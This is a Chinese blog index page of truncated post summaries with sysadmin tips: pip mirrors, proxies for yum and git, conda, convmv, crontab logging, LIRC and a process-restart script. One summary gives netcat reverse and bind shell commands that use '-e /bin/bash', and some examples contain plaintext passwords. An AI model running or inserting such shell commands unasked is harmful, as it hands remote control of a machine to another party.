上一页 1 ··· 8 9 10 11 12 13 14 15 16 ··· 76 下一页
摘要: img_org = cv2.UMat(cv2.imread(img2_name)) img_org.get() 阅读全文
posted @ 2020-02-03 14:47 ahuo 阅读(1649) 评论(0) 推荐(0) 编辑
摘要: vi ~/.pip/pip.conf[global]trusted-host = mirrors.aliyun.comindex-url = https://mirrors.aliyun.com/pypi/simple pip install -i http://mirrors.aliyun.com 阅读全文
posted @ 2020-02-02 22:09 ahuo 阅读(21402) 评论(0) 推荐(0) 编辑
摘要: udp://denis.stalker.upeer.me:6969/announceudp://explodie.org:6969/announceudp://ipv4.tracker.harry.lu:80/announceudp://open.demonii.si:1337/announceud 阅读全文
posted @ 2020-02-01 21:37 ahuo 阅读(980) 评论(0) 推荐(0) 编辑
摘要: 修改/etc/yum.conf 文件 在文件的最后加入一行: proxy=socks5://your_ip:port proxy=socks5://192.168.0.47:3333 阅读全文
posted @ 2020-01-16 12:41 ahuo 阅读(1170) 评论(0) 推荐(0) 编辑
摘要: webserver.py 启动脚本 restart.sh 阅读全文
posted @ 2020-01-16 12:32 ahuo 阅读(226) 评论(0) 推荐(0) 编辑
摘要: ss5IP: c.v.cn 7050U:P test test set:git config --global http.https://github.com.proxy socks5://test:test@c.v.cn:7050git config --global https.https:// 阅读全文
posted @ 2020-01-14 14:09 ahuo 阅读(527) 评论(1) 推荐(0) 编辑
摘要: yum install convmv 命令: convmv -f GBK -t UTF-8 -r --nosmart --notest <目标目录> -f from -t to --nosmart 如果已经是utf-8 忽略 -r 包含所有子目录 --notest 不加表示只列出有什么需要转换的,不 阅读全文
posted @ 2019-11-15 17:42 ahuo 阅读(841) 评论(0) 推荐(0) 编辑
摘要: 查看conda环境:conda env list 新建conda环境(env_name就是创建的环境名,可以自定义):conda create -n env_name 激活conda环境(ubuntu与Macos 将conda 替换为source):conda activate env_name 退 阅读全文
posted @ 2019-10-14 15:55 ahuo 阅读(402) 评论(1) 推荐(0) 编辑
摘要: 反向 1.控制端:nc -lvp 4444 2.被控制端:nc 控制端IP 4444 -e /bin/bash 正向 1.被控制端:nc -lvp 4444 -e /bin/bash 2.控制端:nc 被控制端ip 4444 阅读全文
posted @ 2019-09-23 21:20 ahuo 阅读(1142) 评论(0) 推荐(0) 编辑
摘要: sudo apt-get install lirc /etc/lirc/lirc_options.conf In GPIO20 OUT GPIO21 dtoverlay=lirc-rpi,gpio_out_pin=21,gpio_in_pin=20 阅读全文
posted @ 2019-08-29 17:43 ahuo 阅读(495) 评论(0) 推荐(0) 编辑
摘要: nohup mysql -u sa -pabcd1234 -e 'source /db.sql' & 阅读全文
posted @ 2019-08-27 23:11 ahuo 阅读(4883) 评论(0) 推荐(0) 编辑
摘要: #!/bin/sh while true; do processExist=`ps aux | grep xxx | grep -v "grep" ` if [ -z "$processExist" ];then echo "proecss is restarted" cd /MyData/xxx nohup sh xxx.sh & else echo "process is r... 阅读全文
posted @ 2019-08-22 22:38 ahuo 阅读(462) 评论(0) 推荐(0) 编辑
摘要: crontab记录日志 修改rsyslog sudo vim /etc/rsyslog.d/50-default.conf cron.* /var/log/cron.log #将cron前面的注释符去掉 重启rsyslog sudo service rsyslog restart sudo serv 阅读全文
posted @ 2019-08-16 22:34 ahuo 阅读(1836) 评论(0) 推荐(0) 编辑
摘要: getconf LONG_BIT 32 64 阅读全文
posted @ 2019-08-16 22:31 ahuo 阅读(941) 评论(0) 推荐(0) 编辑
摘要: 安装了qt4和qt5 /usr/lib/x86_64-linux-gnu/qt-default/qtchooser 的default.conf 第一行改成自己qmake的bin路径即可 阅读全文
posted @ 2019-08-13 09:50 ahuo 阅读(780) 评论(0) 推荐(0) 编辑
上一页 1 ··· 8 9 10 11 12 13 14 15 16 ··· 76 下一页